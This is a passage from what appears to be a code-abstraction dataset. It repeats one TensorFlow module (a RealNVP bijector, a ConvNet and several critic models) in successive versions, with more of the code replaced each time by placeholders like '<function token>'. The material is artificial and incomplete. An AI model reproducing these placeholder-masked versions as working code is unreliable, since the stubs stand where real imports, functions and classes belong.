self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n\n\nclass ConvNet(tf.keras.Sequential):\n <function token>\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n <function token>\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n <function token>\n <function token>\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., 